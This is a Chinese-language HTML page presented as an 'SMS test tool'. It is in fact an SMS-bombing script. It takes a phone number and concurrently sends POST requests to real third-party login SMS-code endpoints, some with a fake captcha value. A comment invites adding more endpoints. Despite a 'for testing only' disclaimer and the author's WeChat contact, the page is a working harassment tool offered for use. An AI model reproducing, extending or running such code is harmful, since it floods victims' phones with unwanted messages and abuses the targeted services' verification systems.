<!DOCTYPE html>
<html lang="zh-CN">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>短信测试工具</title>
  <style>
    body {
      font-family: Arial, sans-serif;
      max-width: 600px;
      margin: 0 auto;
      padding: 20px;
      background-color: #f5f5f5;
    }

    .container {
      background-color: white;
      padding: 20px;
      border-radius: 8px;
      box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
    }

    h1 {
      color: #333;
      text-align: center;
      margin-bottom: 30px;
    }

    .input-group {
      margin-bottom: 20px;
    }

    input {
      width: 100%;
      padding: 10px;
      border: 1px solid #ddd;
      border-radius: 4px;
      font-size: 16px;
      box-sizing: border-box;
    }

    button {
      width: 100%;
      padding: 12px;
      background-color: #4CAF50;
      color: white;
      border: none;
      border-radius: 4px;
      font-size: 16px;
      cursor: pointer;
      transition: background-color 0.3s;
    }

    button:hover {
      background-color: #45a049;
    }

    button:disabled {
      background-color: #cccccc;
      cursor: not-allowed;
    }

    #status {
      margin-top: 20px;
      padding: 10px;
      border-radius: 4px;
      text-align: center;
    }

    .progress {
      margin-top: 20px;
      text-align: center;
      color: #666;
    }

    .author-info {
      text-align: center;
      margin-top: 20px;
      color: #666;
      font-size: 14px;
    }

    .divider {
      border-top: 1px solid #ddd;
      margin: 20px 0;
    }
  </style>
</head>

<body>
  <div class="container">
    <h1>短信测试工具</h1>

    <div class="input-group">
      <input type="tel" id="phoneNumber" placeholder="请输入手机号码" maxlength="11">
    </div>

    <button id="startButton" onclick="startTest()">开始测试</button>

    <div class="progress" id="progress"></div>
    <div id="status"></div>

    <div class="divider"></div>

    <div class="author-info">
      <p>作者: 鱼冰w</p>
      <p>微信: qjw070318</p>
      <p>请勿泛滥使用，仅供测试</p>
    </div>
  </div>

  <script>
    // 定义所有API接口
    const APIs = [
      {
        url: "https://job.0817.net/api_v4/login/send_sms_code",
        method: "POST",
        headers: {
          "Content-Type": "application/x-www-form-urlencoded",
          "Host": "job.0817.net",
          "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
        },
        data: (phone) => ({
          mobile: phone
        })
      },
      {
        url: "https://www.csrc91.net/Per/Basic/Account/LoginByMobile/Sms",
        method: "POST",
        headers: {
          "Content-Type": "application/json",
          "Host": "www.csrc91.net"
        },
        data: (phone) => ({
          mobile: phone,
          neCaptchaValidate: "Ultraman Tiga"
        })
      },
      // ... 继续添加其他API配置
      // 这里添加Python代码中的所有API，格式如上
    ];

    let isRunning = false;
    let completedRequests = 0;

    async function startTest() {
      const phoneNumber = document.getElementById('phoneNumber').value;
      const statusDiv = document.getElementById('status');
      const progressDiv = document.getElementById('progress');
      const startButton = document.getElementById('startButton');

      // 验证手机号
      if (!/^1[3-9]\d{9}$/.test(phoneNumber)) {
        statusDiv.innerHTML = "请输入正确的手机号码";
        statusDiv.style.color = "red";
        return;
      }

      if (isRunning) {
        return;
      }

      isRunning = true;
      completedRequests = 0;
      startButton.disabled = true;
      startButton.textContent = "测试中...";
      statusDiv.style.color = "#4CAF50";
      progressDiv.innerHTML = `进度: 0/${APIs.length}`;

      try {
        // 并发发送请求
        const requests = APIs.map(api => sendRequest(api, phoneNumber));
        const results = await Promise.allSettled(requests);

        const successCount = results.filter(r => r.status === 'fulfilled').length;
        statusDiv.innerHTML = `测试完成，成功: ${successCount}/${APIs.length}`;
      } catch (error) {
        statusDiv.innerHTML = "发生错误: " + error.message;
        statusDiv.style.color = "red";
      } finally {
        isRunning = false;
        startButton.disabled = false;
        startButton.textContent = "开始测试";
      }
    }

    async function sendRequest(api, phone) {
      try {
        const response = await fetch(api.url, {
          method: api.method,
          headers: {
            ...api.headers,
            'Access-Control-Allow-Origin': '*'
          },
          body: api.method === 'GET' ? null :
            api.headers['Content-Type'].includes('json') ?
              JSON.stringify(api.data(phone)) :
              new URLSearchParams(api.data(phone))
        });

        completedRequests++;
        document.getElementById('progress').innerHTML =
          `进度: ${completedRequests}/${APIs.length}`;

        if (!response.ok) {
          throw new Error(`HTTP error! status: ${response.status}`);
        }

        return await response.json();
      } catch (error) {
        console.error("API请求失败:", error);
        throw error;
      }
    }

    // 添加键盘事件监听，支持回车键触发
    document.getElementById('phoneNumber').addEventListener('keypress', function (e) {
      if (e.key === 'Enter') {
        startTest();
      }
    });
  </script>
</body>

</html>